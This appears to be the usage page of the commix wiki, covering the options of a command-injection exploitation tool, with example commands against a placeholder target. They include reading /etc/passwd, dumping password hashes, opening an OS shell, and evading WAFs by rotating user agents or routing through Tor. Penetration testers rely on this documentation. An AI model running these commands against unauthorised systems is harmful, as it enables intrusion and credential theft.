-
-
Notifications
You must be signed in to change notification settings - Fork 942
Usage
This guide breaks down every critical option, command, and technique you need to master commix’s full range of features and capabilities.
Usage: python commix.py [option(s)]
Options:
-h Show help and exit.
-hh Show advanced help message and exit.
General:
These options relate to general matters.
-v VERBOSE Verbosity level (0-4, Default: 0).
--install Install commix to your system.
--version Show version number and exit.
--update Check for updates (apply if any) and exit.
--output-dir=OUT.. Set custom output directory path.
-s SESSION_FILE Load session from a stored (.sqlite) file.
--flush-session Flush session files for current target.
--ignore-session Ignore results stored in session file.
-t TRAFFIC_FILE Log all HTTP traffic into a textual file.
--eta Display for each output the estimated time of arrival.
--no-truncate Disable console output truncation.
--time-limit=TIM.. Run with a time limit in seconds (e.g. 3600).
--batch Never ask for user input, use the default behaviour.
--skip-heuristics Skip heuristic detection for code injection.
--codec=CODEC Force codec for character encoding (e.g. 'ascii').
--charset=CHARSET Time-related injection charset (e.g.
'0123456789abcdef').
--check-internet Check internet connection before assessing the target.
--answers=ANSWERS Set predefined answers (e.g. 'quit=N,follow=N').
--abort-on-empty Abort data retrieval on empty results.
--report-json=RE.. Store run results to a JSON file.
Target:
This options has to be provided, to define the target URL.
-u URL, --url=URL Target URL.
--url-reload Reload target URL after command execution.
-l LOGFILE Parse target from HTTP proxy log file.
-m BULKFILE Scan multiple targets given in a textual file.
-r REQUESTFILE Load HTTP request from a file.
--crawl=CRAWLDEPTH Crawl the website starting from the target URL
(Default: 1).
--crawl-exclude=.. Regexp to exclude pages from crawling (e.g. 'logout').
--second-url=SEC.. Resulting page URL searched for second-order response.
--second-req=SEC.. Load second-order HTTP request from file.
--scope=SCOPE Regexp to filter targets (e.g.
'(www)?\.target\.(com|net|org)').
--forms Parse and test forms on target URL (requires '--
crawl').
-x SITEMAP_URL Parse target(s) from remote sitemap(.xml) file.
--method=METHOD Force usage of given HTTP method (e.g. 'PUT').
Request:
These options can be used to specify how to connect to the target URL.
-d DATA, --data=.. Data string to be sent through POST.
--host=HOST HTTP Host header.
--referer=REFERER HTTP Referer header.
--user-agent=AGENT HTTP User-Agent header.
--random-agent Use a randomly selected HTTP User-Agent header.
--mobile Imitate smartphone through HTTP User-Agent header.
--param-del=PDEL Set character for splitting parameter values.
--cookie=COOKIE HTTP Cookie header.
--load-cookies=L.. File containing cookies in Netscape/wget format.
--live-cookies=L.. Live cookies file used for loading up-to-date values.
--cookie-del=CDEL Set character for splitting cookie values.
--http1.0 Force requests to use the HTTP/1.0 protocol.
-H HEADER, --hea.. Extra header (e.g. 'X-Forwarded-For: 127.0.0.1').
--headers=HEADERS Extra headers (e.g. 'Accept-Language: fr\nETag: 123').
--proxy=PROXY Use a proxy to connect to the target URL.
--tor Use the Tor network.
--tor-port=TOR_P.. Set Tor proxy port (Default: 8118).
--tor-type=TOR_T.. Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5).
--check-tor Check to see if Tor is used properly.
--auth-url=AUTH_.. Login panel URL.
--auth-data=AUTH.. Login parameters and data.
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, Bearer).
--auth-cred=AUTH.. HTTP authentication credentials (e.g. 'admin:admin').
--abort-code=ABO.. Abort on (problematic) HTTP error code(s) (e.g. 401).
--ignore-code=IG.. Ignore (problematic) HTTP error code(s) (e.g. 401).
--force-ssl Force usage of SSL/HTTPS.
--chunked Use HTTP chunked transfer encoded (POST) requests.
--proxy-file=PRO.. Load proxy list from a file.
--proxy-freq=PRO.. Requests between change of proxy from a given list.
--proxy-cred=PRO.. Proxy authentication credentials (name:password).
--ignore-proxy Ignore system default proxy settings.
--ignore-redirects Ignore redirection attempts.
--ignore-timeouts Ignore connection timeouts.
--randomize=RAND.. Randomly change value for given parameter(s).
--retry-on=RETRY.. Retry request on regexp matching content (e.g.
'drop').
--safe-url=SAFE_.. URL address to visit frequently during testing.
--safe-post=SAFE.. POST data to send to a safe URL.
--safe-req=SAFE_.. Load safe HTTP request from a file.
--safe-freq=SAFE.. Regular requests between visits to a safe URL.
--csrf-token=CSR.. Parameter used to hold anti-CSRF token.
--csrf-url=CSRF_.. URL address to visit for extraction of anti-CSRF
token.
--csrf-method=CS.. HTTP method to use during anti-CSRF token page visit.
--csrf-data=CSRF.. POST data to send during anti-CSRF token page visit.
--csrf-retries=C.. Retries for anti-CSRF token retrieval (default 0).
--skip-urlencode Skip URL encoding of payload data.
--skip-xmlencode Skip safe encoding of payload data for SOAP/XML.
--timeout=TIMEOUT Seconds to wait before timeout connection (Default:
30).
--retries=RETRIES Retries when the connection timeouts (Default: 3).
--delay=DELAY Seconds to delay between each HTTP request.
--jitter=JITTER Seconds of random variation added to '--delay'.
--drop-set-cookie Ignore Set-Cookie header from response.
Enumeration:
These options can be used to enumerate the target host.
--all Retrieve everything.
--current-user Retrieve current user name.
--hostname Retrieve current hostname.
--is-root Check if the current user have root privileges.
--is-admin Check if the current user have admin privileges.
--sys-info Retrieve system information.
--users Retrieve system users.
--passwords Retrieve system users password hashes.
--privileges Retrieve system users privileges.
--ps-version Retrieve PowerShell's version number.
File access:
These options can be used to access files on the target host.
--file-read=FILE.. Read a file from the target host.
--file-write=FIL.. Write to a file on the target host.
--file-dest=FILE.. Host's absolute filepath to write to.
Modules:
These options can be used increase the detection and/or injection
capabilities.
--shellshock The 'shellshock' injection module.
Optimization:
These options can be used to optimize the performance.
-o Turn on all optimization switches.
--no-keep-alive Disable persistent HTTP(s) connections (Keep-Alive).
--threads=THREADS Max number of concurrent HTTP requests (default 1, max
10).
Injection:
These options can be used to specify which parameters to inject and to
provide custom injection payloads.
-p TEST_PARAMETER Testable parameter(s).
--skip=SKIP_PARA.. Skip testing for given parameter(s).
--param-exclude=.. Regexp to exclude parameters from testing (e.g.
'ses').
--param-filter=P.. Select testable parameter(s) by place (e.g. 'POST').
--suffix=SUFFIX Injection payload suffix string.
--prefix=PREFIX Injection payload prefix string.
--technique=TECH Specify injection technique(s) to use.
--type=TYPE Specify injection type(s) to use.
--eval=LANG Test for code injection (e.g. 'php').
--skip-technique.. Specify injection technique(s) to skip.
--oob Use an out-of-band (OAST) channel over HTTP(S).
--oob-server=OOB.. Self-hosted interactsh server to use.
--oob-token=OOB_.. Auth token for the out-of-band server.
--oob-transport=.. Client the target reaches the out-of-band server with
(e.g. 'dns', 'curl').
--oob-scheme=OOB.. Scheme the target reaches the out-of-band server on
('http' or 'https').
--oob-poll=OOB_P.. Seconds between out-of-band server polls (Default: 5).
--oob-timeout=OO.. Seconds to wait for an interaction (Default: 15).
--maxlen=MAXLEN Set the max length of output for time-related
injection techniques (Default: 10000 chars).
--time-sec=TIMESEC Seconds to delay the OS response.
--tmp-path=TMP_P.. Set the absolute path of web server's temp directory.
--web-root=WEB_R.. Set the web server document root directory (e.g.
'/var/www').
--interpreter=IN.. Construct detection and exploitation payloads using an
alternative interpreter (e.g. 'Python') instead of
native OS shell syntax.
--os-cmd=OS_CMD Execute a single operating system command.
--os-shell Prompt for a command shell.
--os=OS Force back-end operating system (e.g. 'Windows' or
'Unix-like').
--tamper=TAMPER Use given script(s) for tampering injection data.
--msf-path=MSF_P.. Set a local path where metasploit is installed.
Detection:
These options can be used to customize the detection phase.
--level=LEVEL Level of tests to perform (1-3, Default: 1).
--skip-calc Skip the mathematic calculation during the detection
phase.
--skip-empty Skip testing the parameter(s) with empty value(s).
--skip-static Skip testing the parameter(s) that do not appear to be
dynamic.
--text-only Compare pages based only on their textual content.
--disable-stats Disable the statistical model for detecting the delay.
--failed-tries=F.. Set a number of failed injection tries, in file-based
technique.
--smart Perform thorough tests only if positive heuristic(s).
Miscellaneous:
--ignore-depende.. Ignore all required third-party library dependencies.
--list-tampers Display list of available tamper scripts.
--alert=ALERT Run host OS command(s) when injection point is found.
--no-logging Disable logging to a file.
--purge Safely remove all content from commix data directory.
--unstable Adjust options for unstable connections.
--skip-waf Skip heuristic detection of WAF/IPS protection.
--offline Work in offline mode.
--wizard Simple wizard interface for beginner users.
--disable-coloring Disable console output coloring.
Below is an exhaustive breakdown of all options and switches together with examples.
These options control the overall behavior of the tool, such as managing sessions, setting verbosity levels, controlling output formats, and configuring global runtime parameters. Use these to customize how commix interacts with the target and how it reports results.
Switch: -h
Display the general help message with usage syntax and a categorized list of all available options. Useful for quick reference or to explore the full range of features and switches. Typically the first step when getting familiar with the tool or verifying available flags before launching an attack.
python commix.py -hSwitch: -hh
This switch prints every option commix accepts, grouped as in the sections below. The -h switch prints only the options a first run is usually made of, so that the list stays readable; -hh is the one to reach for when looking for something specific.
python commix.py -hhOption: -v VERBOSE
This option increases the verbosity level, providing progressively deeper insights into the tool’s internal processes. It is invaluable for troubleshooting, debugging, and gaining a clear understanding of each step commix takes during testing.
Verbosity levels:
-
0: Displays only essential information and high-level results. Ideal for routine scans where you want concise output without additional debug details. -
1: Enables simple debugging information including key events and warnings. Useful for identifying general issues without overwhelming detail. -
2: In addition to level1output, shows all HTTP requests sent by commix. This allows you to verify exactly what data and headers are being transmitted to the target server. -
3: Extends level2by also displaying HTTP response headers received from the server. This helps to analyze server behavior, headers, cookies, redirects, and error codes during testing. -
4: Provides the most comprehensive output, including complete HTTP request and response bodies. This level is essential for in-depth debugging, allowing you to inspect payloads, server responses, and data exchange in detail to troubleshoot complex injection points or server issues.
python commix.py --url="http://www.target.com/vuln.php?addr=1" -v3Switch: --install
This option installs commix system-wide, making it accessible globally from any location on your system. It is especially useful if you plan to use commix regularly and want to integrate it into your long-term penetration testing toolkit. By installing commix, you streamline workflow and avoid needing to run it from its local directory each time.
Note
- This option requires administrator privileges to install correctly system-wide.
- After installation, you can invoke commix simply using
commixfrom any terminal session.
sudo python commix.py --installIf the above method doesn’t work, you can manually clone the official commix repository and install it using Python’s standard setup script. This approach gives you direct access to the latest source code and provides a flexible installation process.
git clone https://github.com/commixproject/commix.git
cd commix
sudo python setup.py installNote
- This method downloads the most recent source code and installs commix system-wide.
- Administrator privileges are required to place files in system directories and create executable launcher scripts.
- After installation, you can run
commixfrom any terminal session without specifying its full path. - To avoid permission issues or keep commix isolated, consider installing it inside a Python virtual environment instead.
Switch: --version
This option displays the currently installed version of commix. It is useful for verifying that the tool has been correctly installed and for determining whether you're running the latest version. Use this before a scan to ensure compatibility, access to the latest features, and to avoid bugs fixed in newer releases.
Note
- Helps confirm successful installation.
- Useful for troubleshooting and when reporting issues, as version information is often required.
python commix.py --versionSwitch: --update
This option ensures that you are using the most up-to-date exploit techniques and features. Keeping the tool updated improves detection accuracy and allows you to leverage the latest security research.
Note
- This option requires that commix was installed via
git clonefrom the official repository. The update mechanism usesGitto fetch and apply the latest commits. - If you are running commix from a static release package (such as a
ZIParchive), the--updateswitch will not function properly, and you will need to manually download newer versions.
python commix.py --updateOption: --output-dir=OUTDIR
This option allows you to define a custom directory for storing session data, result files, and logs generated during a scan. By default, commix saves these files in a subdirectory named output within the current working directory. Using this option improves file organization - especially when handling multiple targets or running scans in different environments - by directing results to a location of your choice.
Note
- The specified directory will be created if it doesn't exist.
- Useful for keeping scan data centralized, especially when automating or logging multiple engagements.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --output-dir="/tmp/commix_reports"Option: -s SESSION_FILE
This option allows you to load a previously saved session from a .sqlite file. Commix creates and maintains persistent session files for each scan, storing valuable information such as detected injection points, tested parameters, and scan progress. By specifying this option, you can resume a scan exactly where it left off - saving time, avoiding redundant testing, and enabling deeper follow-up analysis. This is particularly useful when working on long assessments or revisiting targets at a later stage. You may also provide a custom file path if you're organizing session data for multiple targets in a central location.
Note
- Sessions are automatically saved in the
.output/directory - unless a custom path is specified. - Combine with
--output-dirfor streamlined session and result management. - Use
--ignore-sessionif you want to temporarily skip loading a session without deleting it. - A resumed finding replays the payload that was stored, so the values that payload was built
around - the document root, the temporary directory, the interpreter and the delay - are the
stored ones. Passing a different
--web-root,--tmp-path,--interpreteror--time-secis reported rather than silently applied;--flush-sessionre-tests with the new values.
python commix.py -s session_data.sqliteSwitch: --flush-session
This option deletes all previously stored session data for the target, ensuring that the current scan starts fresh without interference from cached results. Session files in commix store discovered injection points, tested parameters, payload results, and more.
It can be useful when:
- You suspect the session data is outdated or corrupted
- You want to rerun a scan from scratch with new options
- You’ve updated commix and want to avoid compatibility issues with older session files
By using this option, commix removes the corresponding .sqlite file and regenerates it from the beginning of the scan.
Note
- Use
--flush-sessioncautiously, as it clears all stored session data and forces commix to perform fresh scans from scratch. - Use
--ignore-sessioninstead if you want to temporarily bypass session loading without deleting data.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --flush-sessionSwitch: --ignore-session
This option tells skips loading previously saved session data but does not delete it, allowing temporary fresh scans without losing history. Unlike --flush-session, which permanently deletes stored data, --ignore-session simply bypasses it for the current run - leaving the session file intact for future use.
It can be useful when:
- You suspect previous session results are outdated or no longer reliable
- You want to test new parameters or techniques without losing historical data
- You need to revalidate a finding without interference from cached results
Note
- Use
--flush-sessionif you want to fully erase session data. - Helpful in scenarios where repeat testing is necessary but session data may skew results.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --ignore-sessionOption: -t TRAFFIC_FILE
This option records all raw HTTP traffic - including full request and response data - into the specified file. By preserving complete HTTP exchanges, this log helps validate findings, trace behavior, and document the exploitation process with forensic accuracy.
It can be useful for:
- Post-exploitation analysis
- Bug bounty or vulnerability disclosure reports
- Keeping a record of what was sent and what came back
- Reproducing exploitation steps during reviews or testing
Note
- Log files may include sensitive data such as cookies or credentials - store them securely.
- Combine with
-vto enhance live debugging while capturing permanent records.
python commix.py --url="http://www.target.com/vuln.php?addr=1" -t traffic_log.txtSwitch: --eta
This switch shows a progress bar while the output of a command is being retrieved, along with how much of it is left and how long the rest is expected to take. It is meant for the time-related techniques, where the answer arrives one character at a time and a long retrieval otherwise gives no sign of how far along it is.
Note
- The estimate is taken from how long the characters retrieved so far have taken, and is eased into rather than jumping, so a single slow character does not swing it.
- The bar is drawn only where there is a terminal to draw on. Output redirected to a file or a pipe is left clean.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --technique=t --etaSwitch: --no-truncate
By default, a long retrieved value is shortened on the console so that a single answer does not fill the screen; the full value is still written to the output files. This switch turns that shortening off and prints what was retrieved in full.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --file-read="/etc/passwd" --no-truncateOption: --report-json=REPORT_JSON
This option writes the results of the run to a JSON file: the targets tested, the injection points identified, the technique and payload behind each finding, the commands executed, and whether a WAF/IPS was met along with the evasion used against it. Unlike the textual log, the output is machine-readable, so it can be consumed by CI pipelines, dashboards, or reporting scripts without parsing terminal text.
Every identified injection point also carries a curl command that reproduces it, so the finding can be confirmed, handed over or retested after a fix without running commix again. The same command is written to the textual log. Where the request cannot be reproduced exactly - a body sent chunked, or a cookie that was read live and has since changed - what the command leaves out is stated beside it.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --report-json=results.jsonOption: --time-limit=SECONDS
This option sets a hard time limit for how long commix is allowed to run, specified in seconds. Once the specified duration is reached, commix will forcibly stop the scan - regardless of its current progress. It is particularly useful in automated environments (e.g., CI/CD pipelines), where it's critical to prevent long-running scans from delaying or blocking build processes.
Note
- Use this to enforce predictable scan durations during scheduled assessments or integration testing.
- Combine with
--delayor--techniqueto better manage the scan's depth and performance within the time limit.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --time-limit=1800Switch: --batch
This option runs commix in fully non-interactive mode, automatically selecting default responses to any prompts or confirmations during the scan. It is ideal for automation, scripting, and headless environments where manual input is unavailable or impractical. Using this option enables smooth, unattended execution of scans - making commix suitable for integration into automated testing pipelines, scheduled jobs, or batch operations.
Note
- Be aware that some decisions will default automatically, which may affect scan behavior.
- Combine with logging or verbose options to capture details during unattended runs.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --batch Switch: --skip-heuristics
This option disables heuristic detection during the scan, which can speed up the process but might cause some vulnerabilities to be overlooked. It is particularly useful when you want to manually specify parameters or focus on very specific behaviors, enabling more targeted and efficient testing.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --skip-heuristicsOption: --codec=CODEC
This option forces commix to use a specific codec (i.e. character encoding) when sending HTTP requests. It is particularly useful when targeting applications that utilize non-standard or legacy encodings, ensuring payloads are correctly encoded and interpreted by the server.
Note
- Without this option, commix reads a page in the character encoding that page declares for itself, so a target that answers in a legacy encoding is read correctly without being told to.
- A declared encoding is only a claim, and it is acted on only where being wrong about it costs
nothing but the accented characters. A page claiming one of the wide encodings (e.g.
UTF-16) while serving something else would be read as gibberish, so those are left alone. - This option outranks whatever the page declares, for a target whose declaration is wrong.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --codec="utf-8"Option: --charset=CHARSET
This option allows you to specify a custom set of characters for use in timing delay injection payloads. It is particularly helpful for bypassing input filters, Web Application Firewalls (WAFs), or other security mechanisms that block or sanitize certain characters. By tailoring the character set, commix can better adapt its payloads to the target’s input constraints, improving the chances of successful exploitation in restrictive environments.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --charset="0123456789abcdef"Switch: --check-internet
This option verifies whether the system has an active internet connection before starting a scan. It is primarily used to ensure that dependencies, update checks, or external integrations can function properly during the assessment.
python commix.py --check-internetOption: --answers=ANSWERS
This option enables automation by predefining responses to commix’s interactive prompts. It allows you to control decision points during the scan - such as whether to follow redirects, apply specific techniques, or proceed with detected injection points - without requiring manual input. This is especially useful for scripting, batch scanning, or CI/CD integrations.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --answers="quit=N,follow=N"Switch: --abort-on-empty
This option stops retrieving an execution output as soon as it turns out to be empty, instead of probing for the remaining characters. On time-related techniques every character costs several requests, so aborting early avoids spending them on output that is not there.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --abort-on-emptyTarget options specify the URL or application entry point for testing, including parameters to test, HTTP methods, and ways to define injection points explicitly. They also include options for specifying data to be sent to the server, such as POST data or HTTP headers.
Option: -u URL, --url=URL
This option is the main entry point for commix to begin injection testing. You must specify a URL that includes parameters potentially vulnerable to command injection. It supports both HTTP and HTTPS URLs. This option is mandatory unless the target is defined through alternative methods such as log files or bulk input files.
Note
- A fragment (e.g.
#section) is ignored, with a warning, since it never leaves the browser and a payload placed after it would not reach the target.
python commix.py --url="http://www.target.com/vuln.php?addr=1"Switch: --url-reload
This option helps when the application state changes after each injection attempt, ensuring that commix works with a fresh session or page state every time. It is especially useful for applications that reset parameters or session data on each request, maintaining consistent testing conditions.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --url-reloadOption: -l LOGFILE
This option allows scanning multiple URLs gathered from a proxy log without manually specifying them individually. The log file should contain standard HTTP requests intercepted during a proxy session, enabling automated batch testing of all captured targets.
Both a textual export, whose entries are delimited by rows of =, and an XML history, whose requests are stored base64-encoded, are recognized. Every request found is tested in turn, carrying its own method, headers, cookies and body. The responses recorded beside the requests are ignored, as are requests for static files, and requests reaching the same endpoint with the same parameters are tested once.
Use --scope to keep only the targets that are within scope of the assessment.
python commix.py -l proxy.logOption: -m BULKFILE
This option makes commix scan each URL sequentially, making it ideal for bulk testing or automation across multiple targets. It saves time by running scans against several endpoints automatically, without requiring manual input for each one.
python commix.py -m targets.txtOption: -r REQUESTFILE
This option is useful for complex requests that cannot be easily specified on the command line, such as those with custom headers, cookies, or POST data. The request file must contain the full raw HTTP request exactly as it is sent to the server, allowing precise replay and testing.
A file holding more than one request is also accepted, in which case every request it describes is tested in turn, exactly as with -l.
python commix.py -r request.txtOption: --crawl=CRAWLDEPTH
This option automatically crawls the target website starting from the specified URL to discover additional URLs for testing. The crawling depth controls how many link levels the spider follows (default is 1). It is useful for uncovering hidden or dynamically generated URLs that may be vulnerable to command injection.
Note
- Higher crawl depths can significantly increase scan duration and server load.
- Use option
--crawl-excludeto optimize crawling and avoid irrelevant pages.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --crawl=2Option: --crawl-exclude=REGEX
This option lets you exclude pages from crawling by specifying a regular expression. For example, to skip all pages containing the keyword logout in their paths, you can use --crawl-exclude=logout. This helps focus the scan on relevant areas and avoid undesired URLs.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --crawl-exclude="logout"Option: --second-url=URL
A target that stores what it is given and runs it somewhere else - a queue, a log viewer, an admin page - answers the injected request with nothing at all. This option names the page where the result shows up, so that the answer is looked for there instead of in the response to the payload.
Note
- The page is fetched after every payload, so the run costs roughly twice the requests it otherwise would.
- Where the second-order page needs more than a plain
GET- a method, headers or a body of its own - use--second-reqinstead.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --second-url="http://www.target.com/log.php"Option: --second-req=FILE
This option does what --second-url does, for a second-order page that cannot be reached with a plain GET. The file holds a raw HTTP request - method, headers and body - of the kind a proxy writes out, and that request is the one sent to read the result.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --second-req="/tmp/second.txt"Option: --scope=REGEX
This option restricts testing to the targets whose URL matches a given regular expression, which is applied case-insensitively. It is useful whenever a run produces more targets than intended - a proxy log spanning every host that was browsed, a bulk file, a piped list of targets, or a crawl - and only some of them are within the engagement's scope. Targets left out are reported once, before testing begins.
The filter applies to targets parsed with -l and -r, to those provided with -m or through piped stdin, and to those discovered while crawling. A target given directly with -u is always tested, since it was named explicitly.
python commix.py -l burp.log --scope="(www)?\.target\.(com|net|org)"Switch: --forms
This option parses HTML forms found during crawling and tests their input fields for command injection. It requires the --crawl option to discover and test forms on the target website.
python commix.py --url="http://www.target.com/" --crawl=2 --formsOption: -x SITEMAP_URL
This option allows commix to efficiently gather all URLs listed in the sitemap.xml file for scanning. This often provides comprehensive coverage of the entire application structure, improving the chances of identifying vulnerabilities across all accessible endpoints.
python commix.py -x http://www.target.com/sitemap.xmlOption: --method=METHOD
By default, commix attempts to determine and use the most appropriate HTTP method for interacting with the target (typically GET or POST). However, some applications may require or behave differently with other methods such as PUT, DELETE, PATCH, or even less common ones like OPTIONS or HEAD. This option allows you to override the default behavior and explicitly set the HTTP method commix should use in its requests. This can be essential for testing non-standard endpoints, RESTful APIs, or custom HTTP behavior that depends on specific verbs.
It can be useful when:
- The endpoint accepts input only via a specific method not auto-selected by commix.
- You want to test whether different methods are treated inconsistently or introduce vulnerabilities (e.g.,
PUTvsPOST).
python commix.py --url="http://www.target.com/vuln.php" --data="addr=1" --method="PUT"These options configure the details of the HTTP request sent to the target, such as custom headers, cookies, authentication credentials, timeouts, proxy usage, and user agent strings. They enable tailoring the request to bypass security controls or fit specific scenarios.
Option: -d DATA, --data=DATA
By default, commix uses the HTTP GET method to send requests. However, if you provide data using the --data option (which includes key-value pairs meant for the request body), commix automatically switches to using the POST method. This allows it to simulate form submissions or API interactions that rely on request bodies.
It can be useful for:
- Sending the request as
POSTinstead ofGET, which may be necessary when targeting endpoints that only accept or process input through the request body. This approach also helps bypass certain server-side filters or access control rules that apply differently toGETandPOSTmethods. - Testing parameters from both the query string (
URL) and thePOSTbody for command injection vulnerabilities, ensuring that all possible entry points are evaluated.
Note
- You can override the method explicitly using
--method(if needed). - This approach is useful for testing forms, and APIs that expect
POSTed data. -
JSONandXMLbodies are recognized whatever their shape, including a body holding a single parameter or a nested one, and are sent with the layout they were given: indentation, the spacing around separators and the whitespace between tags are all kept as provided. - A key that appears more than once in
JSONdata is reported, since only its last occurrence survives parsing.
python commix.py --url="http://www.target.com/vuln.php" --data="addr=1&name=test"Option: --host=HOST
This option is useful when testing virtual hosts or servers that rely on the Host header for routing requests. Setting a custom Host header helps target specific sites hosted on the same IP address or server.
Note
- By default
HostHTTP header is parsed from a provided target URL. - The
HostHTTP header is tested if the--levelis set to3. - Placing the
*injection marker in the value tests this header on its own, whatever the--levelis, and leaves the other headers alone.
python commix.py --url="http://www.target.com/vuln.php" --host="example.local"Option: --referer=REFERER
This option sets a custom Referer HTTP header to simulate requests originating from a specific page or domain. It can be useful for testing how the target handles requests based on their referral source or to bypass certain access restrictions.
Note
- The
RefererHTTP header is tested if the--levelis set to3. - Placing the
*injection marker in the value tests this header on its own, whatever the--levelis, and leaves the other headers alone.
python commix.py --url="http://www.target.com/vuln.php" --referer="https://google.com"Option: --user-agent
This option specifies a custom User-Agent string to mimic different browsers, devices, or clients. It helps test how the target responds to various user agents and can be used to bypass User-Agent-based filters or restrictions.
By default, commix performs HTTP requests with the following User-Agent HTTP header value:
commix/vX.Y.devZZ (https://commixproject.com)
Note
- The
User-AgentHTTP header is tested if the--levelis set to3. - Placing the
*injection marker in the value tests this header on its own, whatever the--levelis, and leaves the other headers alone.
python commix.py --url="http://www.target.com/vuln.php" --user-agent="Mozilla/5.0"Switch: --random-agent
This option instructs commix to use a randomly selected User-Agent header from a built-in list of common browser and device signatures.
It helps evade basic security mechanisms and filtering rules that:
- Block or throttle requests based on known scanner
User-Agents - Apply stricter rules to suspected automated tools
- Serve different content or behavior depending on the perceived client
Note
- Can be combined with
--headeror--headersfor further customization of HTTP headers. - Useful in stealth assessments or when bypassing naive WAFs and CDN edge filters.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --random-agentSwitch: --mobile
This option sets the HTTP User-Agent header to mimic a smartphone or mobile device. It is useful for targeting mobile-specific application interfaces, content, or security behaviors that differ from desktop views. Some applications apply different validation or filtering rules to mobile clients, making this option essential when attempting to bypass device-specific protections or access mobile-only endpoints.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --mobileOption: --param-del=PDEL
This option lets you specify a custom delimiter character to split multiple parameters in HTTP requests. By default, commix expects parameters to be separated by the ampersand (&) character, which is standard in URL query strings and POST bodies. However, some applications or legacy systems may use alternative delimiters like semicolon (;) or others. Using this option ensures that commix correctly parses each parameter individually, allowing accurate injection testing on all supplied parameters regardless of the separator used.
python commix.py --url="http://www.target.com/vuln.php" --data="addr=foobar;id=1" --param-del=";"Option: --cookie=COOKIE
This option sets one or more custom cookie values to be included in the Cookie header of each request. It is particularly useful for maintaining authenticated sessions, simulating specific user roles or states, or reproducing application behavior under specific conditions. This allows commix to access and test parts of the application that are otherwise restricted to logged-in or session-specific users.
Note
- The cookie string should follow the standard format:
key1=value1; key2=value2.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --cookie="key1=value1; key2=value2"Option: --load-cookies=LOAD_COOKIES
This option reads the cookies of a file written in the Netscape/wget format, the one browsers and tools such as wget or curl export, and sends them with every request. It saves copying an authenticated session into --cookie by hand, which is error prone for a session made of several cookies.
Lines beginning with # are treated as comments, apart from the #HttpOnly_ prefix, which marks a cookie the browser keeps from scripts and says nothing about whether it should be sent.
Note
- The cookies are read once, when the scan starts. Use
--live-cookiesfor a session that is refreshed while the scan runs.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --load-cookies="cookies.txt"Option: --live-cookies=LIVE_COOKIES
This option reads the cookies afresh before every request, from a file that something else keeps up to date - a browser extension, or a script that logs in again when the session expires. It is what keeps a long scan alive against an application that rotates or times out its session, where a value provided once with --cookie would stop being accepted partway through.
The file may hold either the Cookie header as it would be sent, with or without the Cookie: prefix, or the same Netscape/wget format that --load-cookies reads.
Note
- A file that is missing or still empty is waited for, since whatever writes it may be logging back in.
- Where both this and
--load-cookiesare given, this one is used, as it is read again anyway.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --live-cookies="live_cookies.txt"Option: --cookie-del=CDEL
This option allows you to specify a custom delimiter character to separate multiple cookies in the Cookie header. By default, cookies are split using the semicolon (;) character. However, in certain applications or testing environments - such as those using custom parsing logic or non-standard formatting - using an alternative delimiter (e.g., | or ,) may be necessary to ensure proper recognition and injection of individual cookie values.This is particularly useful when working with intercepted or reconstructed HTTP traffic that deviates from conventional formatting, or when fuzzing cookie-based injection points.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --cookie-del="|"Switch: --http1.0
This option forces commix to send all outgoing requests using the legacy HTTP/1.0 protocol instead of the default HTTP/1.1.
Note
- Useful for interacting with legacy servers, troubleshooting protocol-specific issues, or working around situations where newer HTTP versions may be unstable or unsupported.
-
HTTP/1.0protocol does not keep connections open by default, so each request typically opens a new TCP connection. This can add extra overhead and slightly impact performance compared toHTTP/1.1, which reuses connections for faster communication. -
Warning: Servers that require
HTTP/1.1orHTTP/2may rejectHTTP/1.0requests or behave unexpectedly.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --http1.0Option: -H HEADER, --header=HEADER
This option adds a single custom HTTP header to all HTTP requests sent by commix. It is useful for scenarios where a specific header is required - such as authentication, session identification, client emulation, or routing logic. The header is included exactly as provided and must follow the standard Header-Name: value format. This option is designed for situations where only one extra header is needed.
Note
- To add multiple headers, use the
--headers=HEADERSoption, which supports a newline-separated list.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --header="X-Forwarded-For: 127.0.0.1"Option: --headers=HEADERS
This option allows you to define multiple custom HTTP headers simultaneously by passing them as a single string, with each header separated by a newline character (\n). All specified headers will be included in every HTTP request sent by commix. This feature is particularly useful when testing scenarios require multiple headers for authentication, user simulation, proxy routing, or to meet specific application requirements. Ensure that each header follows the Header-Name: value format and that newline separation is correctly handled by your shell or scripting environment.
python commix.py --url="http://www.target.com/vuln.php?addr=1" \
--headers="Accept-Language: en-US\nUser-Agent: CustomAgent/1.0\nCache-Control: no-cache"Option: --proxy=PROXY
This option routes all HTTP requests sent by commix through a specified HTTP proxy server. An HTTP proxy acts as an intermediary between your tool and the target server, forwarding requests and responses. Using an HTTP proxy can help you anonymize your traffic by hiding your original IP address, capture and log request/response data for analysis, or bypass network restrictions such as firewalls or IP-based blocking. The proxy address should include the scheme and the port number (e.g., http://127.0.0.1:8080).
Note
- Currently, this option provides native support for
HTTPproxies only and does not supportSOCKS4,SOCKS5, or other proxy protocols out of the box. If you need to use aSOCKSproxy, or want to bridge aSOCKSproxy with anHTTPproxy (e.g., for traffic inspection or compatibility purposes), refer to the relevant usage sections in the documentation [1], [2].
